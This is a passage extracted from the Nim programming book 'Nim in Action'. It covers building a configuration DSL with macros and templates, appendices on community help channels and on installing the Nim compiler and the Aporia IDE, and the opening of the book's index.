similarities between the dumpTree output shown in listing 9.7 and the code in listing 9.8. The way in which the nodes are nested is even the same. The differences lie in the procedure calls: most of them involve newTree, but there are also a couple of specialized procedures:  newIdentNode—This procedure takes either a string or a NimIdent argument and creates an appropriate nnkIdent node out of it. A nnkIdent node can also be created via newTree, but doing so would be more verbose because the ident would also need to be assigned. An ident node can refer to any identifier, such as a variable or procedure name, but, as in this case, it may contain an identifier that hasn’t been defined yet.  newEmptyNode—This procedure creates a new nnkEmpty node. It’s simply an alias for newTree(nnkEmpty). Now let’s look at the createRefType procedure implemented in listing 9.8. It doesn’t generate the full AST shown in listing 9.7—it misses out on a key part, the identDefs. Instead, it accepts the identDefs as an argument and assumes that they were gener- ated somewhere else. A single nnkIdentDefs node represents a field definition, including the name and type of the field. In order to generate these, let’s define a new procedure. The next listing shows the toIdentDefs procedure, which converts a list of call statements to a list of nnkIdentDefs nodes. proc toIdentDefs(stmtList: NimNode): seq[NimNode] = expectKind(stmtList, nnkStmtList) result = @[] for child in stmtList: expectKind(child, nnkCall) result.add( newIdentDefs( child[0], child[1][0] ) ) Listing 9.9 Converting a list of call statements to a list of nnkIdentDefs nodes Ensures that the stmtList node is of kind nnkStmtList Initializes the result variable with an empty sequence Iterates over all child nodes in stmtList Ensures that the child node is of kind nnkCall Adds a nnkIdentDefs node to the result sequence Creates a new nnkIdentDefs node The field name. The child’s first child, such as Call -> Ident !"address". The field type. The child’s second child’s child, such as Call -> StmtList -> Ident !"string". Licensed to <null> 273 Creating a configuration DSL The stmtList argument that will be passed to the toIdentDefs procedure is the sec- ond argument in the config macro. More to the point, as you saw previously, the AST of stmtList will look like this: StmtList Call Ident !"address" StmtList Ident !"string" Call Ident !"port" StmtList Ident !"int" It’s the job of the toIdentDefs procedure to take this AST and convert it to a list of nnkIdentDefs nodes that matches the ones in listing 9.7. The code is fairly short, but it could be shortened further at the cost of some error checking. The expectKind procedure is used to ensure that the input AST doesn’t contain any unexpected node kinds. It’s a good idea to use this when writing macros because sometimes your macro may get an unusual AST. Adding such checks makes debugging easier and is akin to using the doAssert procedure. The conversion process is fairly simple: 1 The statement list node’s children are iterated over. 2 Each child’s children and grandchildren are accessed using the [] operator to retrieve the two identifiers corresponding to the name and type of the fields. 3 The newIdentDefs procedure is used to create a new nnkIdentDefs node. 4 The new nnkIdentDefs node is added to the result sequence. Both the conversion and the indexing depend on the structure of the AST. The struc- ture shouldn’t change unless the user of the configurator library passes something unexpected in the config macro’s body. Later in this section, you’ll see how this code reacts to different inputs and how to make the failures more informative. You have now defined enough to generate the correct type definition in the config macro. All you need to do is add a call to createRefType and toIdentDefs: let identDefs = toIdentDefs(fields) result.add createRefType(typeName.ident, identDefs) Add these two lines after the result variable is defined in your macro. Then, at the end of the macro, add echo treeRepr(result) to display the produced AST. Compile the code, and your AST should match the one shown in listing 9.7. Another way to confirm that the generated AST is correct is to convert it to code and display that. You can do so by writing echo repr(result) at the end of your file. After compiling, you should see the following: type MyAppConfig = ref object address: string port: int Licensed to <null> 274 CHAPTER 9 Metaprogramming That’s the first and most lengthy part of this macro finished! The two remaining parts shouldn’t take as long. 9.4.3 Generating the constructor procedure The config macro can now generate a single type definition, but this type definition needs a constructor to be usable. This section will show you how to create this very simple constructor. The constructor doesn’t need to do much—it only needs to initialize the reference object. Because of this, the code that needs to be generated is simple: proc newMyAppConfig(): MyAppConfig = new result You could generate this code much like the type definition in the previous section, but there’s an easier way. Instead of manually creating the AST for the procedure and its body, you can use a template. The following code shows the required template. Add this template just above your config macro in the configurator.nim file: template constructor(ident: untyped): untyped = proc `new ident`(): `ident` = new result This template creates a new procedure, naming it newIdent, where Ident is the ident argument passed to the template. The ident argument is also used for the return type of the created procedure. If you were to call this template via constructor(MyApp- Config), you’d essentially define the following procedure: proc newMyAppConfig(): MyAppConfig = new result But how can this template be used in the config macro? The answer lies in the getAst procedure defined in the macros module. This procedure converts the code returned by a template or a macro into one or more AST nodes. Thanks to getAst and the power of templates, you can add result.add getAst(constructor(typeName.ident)) right after the createRefType call. Your config macro should now look like the following code listing. macro config*(typeName: untyped, fields: untyped): untyped = result = newStmtList() let identDefs = toIdentDefs(fields) result.add createRefType(typeName.ident, identDefs) result.add getAst(constructor(typeName.ident)) Listing 9.10 The config macro The new call initializes the reference object in memory. For the procedure name, the compiler concatenates the text “new” with whatever the ident parameter holds. This is a simple way by which templates allow you to construct identifiers. Licensed to <null> 275 Creating a configuration DSL echo treeRepr(typeName) echo treeRepr(fields) echo treeRepr(result) echo repr(result) You should be able to compile the code again and see that the constructor procedure is now generated. 9.4.4 Generating the load procedure Last but not least is the load procedure. It will load the configuration file for you, parse it, and populate an instance of the configuration type with its contents. For the config definition shown in the previous sections, which contains an address string field and a port integer field, the load procedure should be defined as follows: proc load*(cfg: MyAppConfig, filename: string) = var obj = parseFile(filename) cfg.address = obj["address"].getStr cfg.port = obj["port"].getNum.int For simplicity, the underlying configuration format used in this example is JSON. The load procedure starts by parsing the JSON file, and it then accesses the address and port fields in the parsed JSON object and assigns them to the configuration instance. The address field is a string, so the load procedure uses getStr to get a string for that field. The port field is similarly filled, although in this case the field is an integer, so the getNum procedure is used. The type of the field will need to be determined by the macro when the procedure is generated. In order to generate these statements, you’ll need information about the config fields, including their names and types. Thankfully, the code already deals with this information in the form of IdentDefs. You can reuse the IdentDefs that have already been created to generate the load procedure. Let’s take a look at these IdentDefs for the MyAppConfig definition again: IdentDefs Ident !"address" Ident !"string" Empty IdentDefs Ident !"port" Ident !"int" Empty Loads the JSON file from filename and saves it into the obj variable Gets the address field from the parsed JSON object, retrieves its string value, and assigns it to the configuration instance’s address field Gets the port field from the parsed JSON object, retrieves its integer value, and assigns it to the configuration instance’s port field. The type conversion is needed because the getNum procedure returns a BiggestInt type. Licensed to <null> 276 CHAPTER 9 Metaprogramming The structure is pretty simple. There are two nodes, and they each contain the field name and type. Let’s use these to generate the load procedure. I’ll show you how to write it in steps. First, define a new createLoadProc procedure and add it just above the config macro in your configurator.nim file: proc createLoadProc(typeName: NimIdent, identDefs: seq[NimNode]): NimNode = Just like the createRefType procedure defined previously, createLoadProc takes two parameters: a type name and a list of IdentDefs nodes. This procedure will use a semi- automatic approach to generating the necessary AST. The load procedure takes two parameters—a cfg and a filename—and you need to create an Ident node for each of them. In addition to that, you should create an Ident node for the obj variable used in the procedure: var cfgIdent = newIdentNode("cfg") var filenameIdent = newIdentNode("filename") var objIdent = newIdentNode("obj") Add this code to the body of the createLoadProc procedure. The preceding code is pretty straightforward. It creates three different identifier nodes that store the names of the two parameters and one of the variables. Let’s use these to generate the first line in the load procedure: var body = newStmtList() body.add quote do: var `objIdent` = parseFile(`filenameIdent`) Append this code to the end of the createLoadProc body. This code starts off by creating a new StmtList node to hold the statements in the load procedure’s body. The first statement is then generated using the quote proce- dure defined in the macros module. The quote procedure returns a NimNode in a manner similar to the getAst procedure, but instead of needing to declare a separate template, it allows you to pass statements to it. Code inside the body of quote can be substituted by surrounding it with backticks. In the preceding code, the name that the objIdent node holds is substituted into the var definition. A similar substitution happens for the filenameIdent node. This results in var obj = parseFile(filename) being generated. The next step is to iterate through the IdentDefs and generate the correct field assignments based on them. The cfg parameter that will store an instance of the configuration object The filename parameter that will store the filename of the configuration file The obj variable that will store the parsed JSON object Defines a variable that stores the body of the load procedure The quote procedure returns an expression’s AST. It allows for nodes to be quoted inside the expression. The expression whose AST is generated is the first line of the load procedure, essentially: var obj = parseFile(filename) Licensed to <null> 277 Creating a configuration DSL for identDef in identDefs: let fieldNameIdent = identDef[0] let fieldName = $fieldNameIdent.ident case $identDef[1].ident of "string": body.add quote do: `cfgIdent`.`fieldNameIdent` = `objIdent`[`fieldName`].getStr of "int": body.add quote do: `cfgIdent`.`fieldNameIdent` = `objIdent`[`fieldName`].getNum().int else: doAssert(false, "Not Implemented") Append this code to the end of the createLoadProc body. This is a rather large chunk of code, but it generates very simple statements that depend on the fields specified in the config body. For the config definition shown in the previous sections, it will generate the following two statements: cfg.address = obj["address"].getStr cfg.port = obj["port"].getNum.int With that code, the procedure body is fully generated. All that’s left is to create the AST for the procedure, and this can be done easily using the newProc procedure defined in the macros module. return newProc(newIdentNode("load"), [newEmptyNode(), newIdentDefs(cfgIdent, newIdentNode(typeName)), newIdentDefs(filenameIdent, newIdentNode("string"))], body) The newProc procedure generates the necessary AST nodes that model a procedure. You get to customize the procedure by specifying the name, the parameters, the return type, and the procedure body. All that’s left to do is add a call to generate the load proc in the config macro. Just add result.add createLoadProc(typeName.ident, identDefs) below the getAst call. That’s all there is to it! Let’s make sure that it all works now. Iterates through the IdentDefs nodes Retrieves the field name from the IdentDefs node Converts the Ident into a string Generates different code depending on the field’s type For a string field, generates the getStr call For an int field, generates the getNum call and a type conversion The first procedure parameter, in this case cfg The return type of the procedure; an empty node is used to signify a void return type The second procedure parameter, in this case filename A StmtList node containing statements to be included in the body of the procedure The name of the procedure Licensed to <null> 278 CHAPTER 9 Metaprogramming 9.4.5 Testing the configurator Before testing the code, you should create a JSON file that can be read. Create a new file called myappconfig.json beside your configurator.nim file,3 and add the following code to it: { "address": "http://google.com", "port": 80 } This will be read by the configurator in your test. The following listing shows how to test it. import json config MyAppConfig: address: string port: int var myConf = newMyAppConfig() myConf.load("myappconfig.json") echo("Address: ", myConf.address) echo("Port: ", myConf.port) Add the code in listing 9.11 to the bottom of the configurator.nim file. Then compile and run the file. You should see the following output: Address: http://google.com Port: 80 WARNING: WORKING DIRECTORY Be sure to run the program from the src directory; otherwise, your myappconfig.json file will not be found. The DSL is finished! Based on this example, you should have a good idea of how DSLs can be written in Nim and how macros work. Feel free to play around with the resulting DSL. For an extra challenge, you might wish to add support for more field types or to export the generated types and procedures to make them usable from other modules. 9.5 Summary  Metaprogramming consists of three separate constructs: generics, templates, and macros.  Generic procedures reduce code duplication.  Concepts are an experimental feature related to generics that allows you to specify requirements that a matched type must satisfy.  You can define generic procedures to reduce code duplication. 3 This was done for simplicity; ideally, you'd create a new tests directory and place the JSON file there. Listing 9.11 Testing the config macro Licensed to <null> 279 Summary  Templates are an advanced substitution mechanism; they’re expanded at com- pile time.  Templates support hygiene, which is a way to control access to variables defined in them.  Templates and macros are the only constructs that can take a code block as an argument.  Macros work by reading, generating, and modifying code in the form of an abstract syntax tree.  You can get an AST representation of any piece of Nim code.  You can generate code by constructing an AST using macros. Licensed to <null> 280 appendix A Getting help While reading this book, you may run into cases where some concepts might be tough to understand, one of the examples doesn’t work, or you have trouble install- ing something like the Nim compiler on your machine. The Nim community, which includes me, is available to help with such issues. This appendix describes different ways that you can get in touch with people who will be happy to help. A.1 Real-time communication The fastest way to get help is via one of the two real-time communication applica- tions used by Nim programmers: IRC and Gitter. At the time of writing, there are more than 100 users in both Nim’s IRC channel and Gitter room. The messages are relayed between IRC and Gitter, so speaking in one will send an equivalent message to the other. This means you can speak with the same set of people regardless of whether you’re using IRC or Gitter. Gitter is far more approachable, so I suggest using it, especially if you’re not already familiar with IRC. You can find it here: https://gitter.im/nim-lang/Nim. IRC can also be accessed via the web, or you can use one of the many available IRC clients, such as HexChat. The #nim IRC channel is hosted on freenode and can be accessed using the web chat client available here: http://webchat.freenode.net/ ?channels=nim. Feel free to join and ask whatever questions you might have. In some cases, you might not hear from anyone for a while, so please be patient. If you need to leave but want to come back later to see if your question was answered, you can look at the messages written in the channel in Gitter and also in our IRC logs, located here: http://irclogs.nim-lang.org/. Licensed to <null> 281 Other communication methods A.2 Forum There are two forums that you can use to get help. The first is the Nim forum, avail- able at http://forum.nim-lang.org/. The second is the Manning forum for this book, available at https://forums.manning.com/forums/nim-in-action. For questions relating to this book, feel free to use either forum. For more-general Nim questions, please use the Nim forum. A.3 Other communication methods For other ways to get in touch with the Nim community, take a look at the community page on the Nim website: http://nim-lang.org/community.html. Licensed to <null> 282 appendix B Installing Nim Before you begin writing Nim code, you need to install and set up the Nim com- piler. The Nim compiler is the tool that will transform your Nim source code into a binary format that your computer can then execute. It’s only used during develop- ment, so users of your application won’t need it. You have the option of installing Aporia, the Nim IDE, as well. Aporia is a useful tool for beginning Nim programmers: it allows you to compile and run Nim code easily, and it can also be used as a Nim-centric alternative to popular source-code editors such as gedit, Sublime Text, or Atom. Visual Studio Code is another editor that offers functionality similar to Aporia (through a plugin) and can be installed relatively easily. In this appendix, you’ll learn how to install both the Nim compiler and an appropriate text editor. You’ll then test this Nim development environment by compiling and executing a Hello World example. Let’s get started. Grab any computer—even a Raspberry Pi will work—and fol- low along!1 B.1 Installing the Nim compiler It’s difficult to write installation instructions that will remain accurate for years to come.2 This is especially true for a compiler that’s still evolving. In this appendix, I can’t provide a step-by-step installation guide for Nim, but I can discuss some potential troubleshooting steps and let you know where to look for installation instructions. B.1.1 Getting up-to-date installation info It’s best to consult the Nim website for up-to-date installation information. In par- ticular, see the install page: https://nim-lang.org/install.html. 1 Seriously, though, please don’t use a Raspberry Pi for development. 2 During the development of this book, the installation instructions changed at least once. Licensed to <null> 283 Installing the Nim compiler That page should be your first stop when installing Nim because it also contains the downloads for Nim. There will be different downloads for each OS and each will have different installation instructions. You may need to build the compiler yourself or simply execute an installer. Depending on your OS, the installation might be easy or difficult. As Nim evolves, installation should become easier for all OSs, but as of the time of writing that’s not yet the case. Follow whatever instructions the Nim website offers, and if they fail, you can get in touch with me or somebody else in the Nim community (as discussed in appendix A). For completeness, I’ll describe the installation process offered by Nim since its inception—building from source. This installation method should work more or less the same way for the foreseeable future, but remember that there are likely simpler ways to install Nim. POSSIBLE PROBLEMS There’s nothing more annoying than not being able to install something. Please remember that the Nim community is happy to help out. Consult appendix A for ways to get in touch with us so that we can help you solve your issue. B.1.2 Building from source This installation method will work on all platforms. It relies on a compressed archive that contains the C source code, which has been generated for a specific version of the Nim compiler. What you’ll be doing here is compiling the Nim compiler yourself. To compile the C source code, you need to have a C compiler installed on your sys- tem. If you don’t already have one, you’ll need to install one first. Installing a C compiler The installation of a C compiler is fairly straightforward. The recommended C compiler and the process for installing it differs depending on your OS. Windows You can install GCC by installing the MinGW package available here: www.mingw.org/. Mac OS The recommended C compiler on Mac OS is Clang. Clang can be installed in two ways. If you have Homebrew, simply execute brew install clang to install Clang. Otherwise, follow these steps:  Open a terminal window.  Execute clang or gcc. A dialog box asking whether you’d like to install the Command Line Developer Tools should appear. Alternatively, you can execute xcode-select --install. Licensed to <null> 284 APPENDIX B Installing Nim DOWNLOAD THE NIM COMPILER ARCHIVE Once you have a working C compiler installed, it’s time to download the C sources for the latest version of the Nim compiler. Navigate to the Nim download page and find the download links for the generated C sources for Windows, Mac OS, or Linux. You may see two download links, one of them a zip archive and another a tar.xz archive. If you’re unsure which one to pick, download the zip archive. EXTRACT THE ARCHIVE AND MOVE IT TO A SAFE LOCATION Once the download completes, extract the archive. You should be able to simply double- click the zip archive in your OS’s file manager to extract it. You should now see a folder containing files belonging to the Nim compiler (see figure B.1). The folder’s name will likely be nim-<ver>, where <ver> is the version of the Nim compiler that you downloaded (for example, nim-0.12.0). (continued) Click the Install button. Wait for the installation to finish, and then verify that the installation was successful by executing clang --version. Linux In all likelihood, you already have a C compiler installed. Before attempting to install, you can verify this by running gcc --version or clang --version. The recommended C compiler for Linux is GCC. The installation instructions depend on your distribution’s package manager. On Yum-based distributions, you should be able to execute sudo yum install gcc to install GCC. On Debian-based distributions, you can execute apt-get like so: sudo apt-get Figure B.1 The nim directory after it’s been extracted from the archive Licensed to <null> 285 Installing the Nim compiler Move the Nim folder to a safe place where you’d like to install it, such as ~/programs/ nim. COMPILE THE NIM COMPILER Now open a terminal. Navigate into the nim directory using the cd command; for example, cd ~/programs/nim. Your terminal should look similar to figure B.2. You can now build the Nim compiler by executing one of the build scripts. The build.bat and build64.bat scripts are for Windows, and the build.sh script is for all other OSs. To execute the build.sh script, type sh build.sh into the terminal. Depending on the CPU power of your computer, this may take some time. But unless you’re compiling Nim on a 1995 IBM NetVista, it shouldn’t take more than a minute. When the compilation is successful, you should see “SUCCESS” at the bottom of your terminal, as in figure B.3. GETTING HELP Did the compilation fail? Are you having other issues? There are many ways to get help, and one of the easiest is to ask on the Nim forum or on IRC. For more information, see appendix A. The bin directory should now contain a nim binary, but the installation is not finished yet. Figure B.2 Terminal after navigating to /home/dom/programs/nim Figure B.3 The compilation succeeded Licensed to <null> 286 APPENDIX B Installing Nim ADD NIM TO YOUR PATH In order for the nim binary to be visible to other applications, such as the terminal, you need to add the bin directory to your PATH. In the previous example, the path you’d need to add would be /Users/dom/programs/nim/bin because the username in that example was dom and the ~ was expanded. EXPANDING THE TILDE Keep in mind that the ~ expands to /home/<your_ username> on Linux. The preceding examples are for Mac OS. In certain cases, adding a file path that includes the ~ to PATH may not work, so it’s usu- ally best to just add an absolute path. VERIFY THAT THE INSTALLATION WAS SUCCESSFUL Ensure that you’ve completed these steps successfully by opening a new terminal win- dow and executing nim -v. The output should look similar to the following: Nim Compiler Version 0.14.2 (2016-08-09) [MacOSX: amd64] Copyright (c) 2006-2016 by Andreas Rumpf git hash: e56da28bcf66f2ce68446b4422f887799d7b6c61 active boot switches: -d:release Assuming you were successful in installing Nim, you’re now ready to begin developing Nim software! Before testing your new development environment, you have the option of installing the Aporia IDE, discussed in the next section. You can skip this if you’d like to use another IDE or text editor for writing Nim code. Section B.3 will show you how to compile your first Nim application. How to add Nim to your PATH Windows To add Nim to your PATH, you need to access the advanced system settings, which you can do by opening Control Panel > System and Security > System. You should then see Advanced System Settings in the left sidebar. Click on it and a dialog box should appear. It will include an Environment Variables button that will display another dialog box allowing you to edit the environment variables. Edit the Path vari- able either under System Variables or User Variables. Make sure the path you add is separated from the other paths by a semicolon (;). Mac OS There are multiple ways to edit your PATH on Mac OS. You can open the /etc/paths file (as root using sudo nano /etc/paths or via your favorite editor) and append the Nim bin path to the bottom. Alternatively, you can edit the ~/.profile file and add export PATH=$PATH:/home/user/path/to/Nim/bin to the bottom. Linux If you want the change to be system-wide, you can edit the /etc/profile file. To make Nim available only for your user, you can edit the ~/.profile file. In both cases you should add export PATH=$PATH:/home/user/path/to/Nim/bin to the bottom of those files. Licensed to <null> 287 Testing your new development environment B.2 Installing the Aporia IDE The installation of Aporia is entirely optional. Aporia integrates with the Nim com- piler, so it makes experimenting with Nim easier. With Aporia, you’ll be able to compile and run Nim source code by pressing the F5 key on your keyboard. Later in this section, you’ll also learn how to compile Nim source code using the command line, so you won’t miss out by using a different source code editor. Releases of Aporia can be downloaded from GitHub, and you’ll find detailed instruc- tions on how to install it on your OS here: https://github.com/nim-lang/Aporia#readme. There are also other editors that can be used instead of Aporia. For example, Visual Studio code with the Nim plugin is another good choice, especially for Mac OS users. For a full list, see the following Nim FAQ answer: https://nim-lang.org/faq .html#what-about-editor-support. B.3 Testing your new development environment You should now have a basic Nim development environment set up. This setup should include the Nim compiler and may also include Aporia or a different source code edi- tor that supports Nim syntax highlighting. You can test your new environment with a simple Nim Hello World program. Open your source code editor and type in the following short piece of code. echo "Hello World!" Save the file as hello.nim. Then, open a new terminal in the directory that contains the file you just saved, and execute nim c -r hello.nim. This command will compile the hello.nim file you’ve written, generating as output a brand-new binary file (the c subcommand stands for compile). Once the compilation finishes, the binary will be executed, as specified by the -r option (which stands for run). Listing B.1 Hello World Nim command syntax The Nim command syntax takes the form of nim command [options] projectFile .nim, where the options are optional. The following table shows some common Nim commands. Command Description c, compile Compiles the projectFile.nim file and all its dependencies into an executable using the default backend (C). cpp Compiles the projectFile.nim file and all its dependencies using the C++ back- end. The result is an executable. js Compiles the projectFile.nim file and all its dependencies using the JavaScript backend. The result is a JavaScript file. check Parses the projectFile.nim file and checks it for errors, displaying all the errors found. Licensed to <null> 288 APPENDIX B Installing Nim APORIA In Aporia, you can simply press F5 to compile and run your pro- gram. You don’t even have to save it manually! At this point, if you’ve followed along and performed these steps yourself (I strongly encourage you to do this!), you may be wondering what to make of all the messages being output to your screen. These messages come from the Nim compiler. By default, the Nim compiler displays information about which modules it’s currently processing to notify you of its progress. Other information includes warnings, errors, and other messages triggered by your source code. The following listing shows a sam- ple of output from the Nim compiler. config/nim.cfg(54, 3) Hint: added path: '~/.nimble/pkgs/' [Path] Hint: used config file '~/nim/config/nim.cfg' [Conf] Hint: system [Processing] Hint: hello [Processing] CC: hello CC: stdlib_system [Linking] Hint: operation successful (9407 lines compiled; 1.434 sec total; ➥14.143MB; Debug Build) [SuccessX] /Users/dominikp/nim-in-action/examples/hello Hello World! You’re probably surprised at just how short the Hello World example is. In compari- son to other programming languages like C, Nim doesn’t require a main function, which drastically reduces the amount of code needed for this example. In Nim, top- level statements are executed from the top of the file to the bottom, one by one. WARNING: PERFORMANCE Top-level statements are generally harder to opti- mize for the compiler. To get maximum performance, use a main procedure and compile with the -d:release flag. Listing B.2 Compiler output (continued) For a full list of commands, execute nim --help and nim --advanced. When you’re compiling with the C/C++ backends, passing in the -r flag will run the resulting executable after compilation. Arguments to this executable can be passed after the projectFile.nim param: nim c -r projectFile.nim arg1 arg2. Added Nimble packages to its module search path Used a config file located in ~/nim/config/nim.cfg Parsing and compiling the system module to C Using a C compiler to compile the hello module to a binary format Executing the resulting binary located at that file path Output from the resulting binary’s execution Licensed to <null> 289 Troubleshooting Congratulations! You’ve successfully written your first Nim application. More impor- tantly, you have successfully set up a Nim development environment and are now ready to begin learning the basics of the Nim programming language. B.4 Troubleshooting This section identifies some problems that you may run into during the installation of Nim, and provides solutions. This is certainly not a complete list, and I invite you to consult the following website, which I’ll be keeping up to date, with solutions to other problems that various users run into: https://github.com/dom96/nim-in-action- code/wiki/Installation-troubleshooting. Please get in touch if you run into a problem that isn’t described in this section or on the website. Instructions for getting in touch are available in appendix A. B.4.1 Nim command not found If you attempt to execute nim -v (or similar), and you see a message such as this, command not found: nim the likely problem is that you haven’t successfully added Nim to your PATH. Ensure that the directory you added to your PATH contains the nim binary. You may need to restart your terminal for the PATH changes to take effect. Another diagnosis tool you can use is displaying the contents of the PATH environ- ment variable using echo $PATH on Unix or echo %PATH% on Windows. B.4.2 Nim and C compiler disagree on target architecture This problem manifests in an error that looks something like this: error: 'Nim_and_C_compiler_disagree_on_target_architecture' ➥declared as an array with a negative size Usually the problem is that your Nim compiler’s architecture isn’t the same as your C compiler’s. For example, this can mean that the C compiler targets 32-bit CPUs, whereas Nim targets 64-bit CPUs, or vice versa. To solve this issue, you can either ensure that a C compiler that targets the correct architecture is in your PATH, or you can build a Nim compiler that targets the other architecture. This is usually a problem on Windows, and you just need to use build32.bat instead of build64.bat, or vice versa. B.4.3 Could not load DLL This issue usually presents itself when you’re executing a Nim application, either your own or one of the Nim tools like the Nimble package manager. You might see a variation of the following error when executing the application: could not load: (ssleay64|libssl64).dll Licensed to <null> 290 APPENDIX B Installing Nim This error means that the application can’t find a DLL that it depends on to execute. In the preceding case, the missing DLL is used for secure socket connections via the TLS or SSL protocols, such as HTTPS. This is usually an issue only on Windows. Mac OS and Linux typically already have these dependencies installed. The solution is to download or install the missing DLLs. Unfortunately, on Win- dows it’s not easy to find them online, and the Nim distribution might not include them. That said, the Nim website does usually have a link to download them. Look for them here: https://nim-lang.org/install.html. After downloading them, place them somewhere in your PATH or beside your executable file. For Linux and Mac OS, you should be able to use a package manager to install them if they’re missing. Licensed to <null> 291 Symbols _ (underscore character) 8, 32, 51, 171 , (comma) character 36 ; (semicolon) character 24, 286 : (colon) character 31 : symbol 124 != operator 255 !$ operator 114 . (dot) character 52 .. operator 124 " (double-quote) character 29, 66 ( ) (parentheses) 116 [] (square brackets) 69, 159 {:} syntax 78, 113 @ character 135, 139, 216 * operator 43, 72, 103 / operator 118–119, 165 \ (backward-slash) character 28–29 \n (newline escape sequence) 28, 168 \r (carriage return) 28 & (ampersand) character 201 # (hash) character 25 % operator 78–79 ` (backtick) character 33, 202 ^ operator 68, 124, 158 + operator 110, 213, 264 = (equals) character 36, 125 =~ operator 259 | operator 9 ~ character 286 $ operator 31, 78–79, 93, 110, 170, 202 $! operator 207, 209 Numerics 80 port 219 404 error 216, 218 5000 port 219 7687 port 96 A abstract syntax tree. See AST accept procedure 83–84, 91 acceptAddr variant 92 add procedure 110, 123, 140 addr keyword 234 advantages of Nim 12–20 catches errors ahead of time 18 efficient 13 flexible 16–18 readable 13–14 stands on its own 14–15 algorithm module 127 algorithms 111–117 allocShared procedure 174 ampersands 201 anonymous procedures 38–39 Aporia IDE installing 287 overview 282 application-level package managers 130 architecture of chat applications 58–61 client components 60–61 finished product 58–61 network architectures 59–60 network models 59–60 server components 60–61 of web applications 181–186 routing in microframe- works 183–184 Tweeter 185–186 archives, for compiler downloading 284 extracting 284–285 moving to safe location 284–285 arguments command-line 122–126 in macros 266–267 array type 39 arrays, bounds-checked 9 AssertionFailed exception 76 AST (abstract syntax tree) 7, 260, 262–265 ast module 19 async await 86 async procedure 250 asyncCheck command 85, 90, 94 asyncdispatch module 80, 84, 126 asyncftpclient module 126 asynchronous data transfer 91–99 adding network functional- ity to client 95–98 index Licensed to <null> 292 INDEX asynchronous data transfer (continued) creating new Client instance to hold data about client 92 final results of 98–99 processing client messages 92–95 sending messages to other clients 95 testing server without client 91–92 asynchronous execution, ver- sus synchronous 85–86 asynchronous I/O (input/ output) 83–91 await keyword 88–91 difference between synchro- nous and asynchronous execution 85–86 event loops 87–88 example using callbacks 86–87 Future type 84–85 asynchronous sockets 83 AsyncHttpClient type 126 asynchttpserver module 126 asyncnet module 80, 83, 126 AsyncSocket type 80 auto type 36 await keyword 88–91, 100 B backend, of JavaScript 242–247 using Canvas API wrapper 246–247 wrapping canvas elements 243–246 backticks 33, 202 backward-slash character 28–29 basic types 25–30 Boolean 28 characters 28 floating-points 28 integers 26–27 strings 29–30 benchmark tests 13 bigints package 142 binary notation 27 bindAddr procedure 82–83 Bitwise operations 110 block keyword 45 blocked state 66 blocking input/output, using spawn to avoid 68–70 body parameter 207 Boehm 19 Boolean operations 110 Boolean type 26, 28 --boundsChecks option 40 break keyword 44 buffer overread 242 buffer string 171 build scripts 285 busy waiting 86 buttons, adding 217–218 C C ++ programming language, features of 19 c command 142, 287 C library 226 C programming language building compiler from source code of 283–286 adding Nim programming language to PATH 286 compiling 285 downloading archives 284 extracting archives 284–285 moving archives to safe location 284–285 verifying installation of 286 features of 19 wrapping external libraries 234–242 creating wrapper for SDL (Simple DirectMedia Layer) library 235–236 downloading SDL (Simple DirectMedia Layer) library 235 dynamic linking 236–237 using SDL wrappers 240–242 wrapping SDL procedures 238–240 wrapping SDL types 237–238 wrapping procedures 228–230 wrapping types 231–234 c subcommand 287 c1 sequence 79 c2nim tool 10 calculate macro 266 callback hell 88 callbacks, example of asynchro- nous input/output using 86–87 camelCase 8, 32 Canvas API, using wrappers 246–247 canvas elements, wrapping 243–246 CanvasRenderingContext2D type 244 carriage return 28 case keyword 44 case statements 44 cd command 285 cfg parameter 276 chan variable 177 channels overview 173 sending and receiving mes- sages with 176–178 channels module 111, 177 character type 26, 28, 42 character-escape sequences 28 chat applications architecture of 58–61 client components 60–61 finished product 58–61 network architectures 59–60 network models 59–60 server components 60–61 writing first steps 61–62 implementing protocols 70–79 retrieving input in client components 63–70 transferring data using sockets 79–99 check command 287 chunks 160, 169 Clang 283 client components, retrieving input in 60–61 reading data from standard input streams 66–68 retrieving command-line parameters supplied by users 63–65 using spawn to avoid block- ing input/output 68–70 Licensed to <null> 293 INDEX client module 79 Client type 80 clients adding network functionality to 95–98 creating instance to hold data about 92 creating new Client instance to hold data about 92 processing messages 92–95 sending messages to 95 testing server without 91–92 client-server module 59 close procedure 93, 198 cmp procedure 116 code blocks, passing to templates 256–257 code statements 48 collection types 39–43 arrays 39 sequences 41–42 sets 42–43 colon character 31 comma character 36 command not found error 289 command-line applications 5 command-line arguments 100, 122–126 command-line parameters overview 63 supplied by users, retrieving 63–65 command-line tools, Nimble 131 comments 25 community, for Nim program- ming language 20, 281 Comparable concept 254 comparison operators 110 compatibility, of types 231 compilation 9–11 compiler architecture 289 building from C sources 283–286 adding Nim programming language to PATH 286 compiling 285 downloading archives 284 extracting archives 284–285 moving archives to safe location 284–285 verifying installation of 286 compiling 285 installing 282–286 verifying installation of 286 Compiler User Guide 14 compile-time error 31 compile-time function execu- tion. See CTFE Comprehensive Perl Archive Network. See CPAN concatenation operator 110 concept keyword 254 concurrency, parallelism vs. 151–152 config macro 273 configuration DSLs, creating 267–278 generating constructor procedures 274–275 generating load procedures 275–277 generating object types 270–274 starting configurator project 268–270 testing configurators 278 connect procedure 82, 96 connected flag 81, 93 const char * type 229 const keyword 32 constraining generics 252–253 constructor procedures, generating 274–275 Container variable 252 contextAttributes argument 245 continue keyword 44 control flow mechanisms 250 controllers, developing 210–219 adding Follow buttons 217–218 extending / routes 214 implementing / createMessage routes 215 implementing /follow routes 218–219 implementing /login routes 212–213 implementing user routes 216–217 could not load error 289 counter variable 174, 176 counterLock 175 CPAN (Comprehensive Perl Archive Network) 128 cpp command 287 crash procedure 159 createDatabase module 198 createLoadProc procedure 276 createMessage procedure 78, 97 /createMessage routes, implementing 215 createRefType procedure 272 createThread procedure 153, 155, 159 createWindowAndRenderer procedure 239 critbits module 111 cross-compilation 14 cstring type 229 CTFE (compile-time function execution) 19, 260–262 curly brackets 43, 73 currentUser parameter 204 D D programming language, fea- tures of 19 -d release flag 167 daemonize package 135 daemons 220 data client 92 manipulating 122–126 overview 122–126 parsing 159–167 manually using parseutils module 163–164 manually using split procedure 162–163 processing each line of Wikipedia page-counts files 164–167 understanding Wikipedia page-counts format 160–161 using regular expressions 161–162 Wikipedia page-counts format 161–164 reading from standard input streams 66–68 retrieving from databases 194–198 storing in databases 189–200 setting up databases 192–194 Licensed to <null> 294 INDEX data, storing in databases (continued) setting up types 190–192 testing databases 198–200 transferring asynchronously 91–99 adding network functional- ity to client 95–98 creating new Client instance to 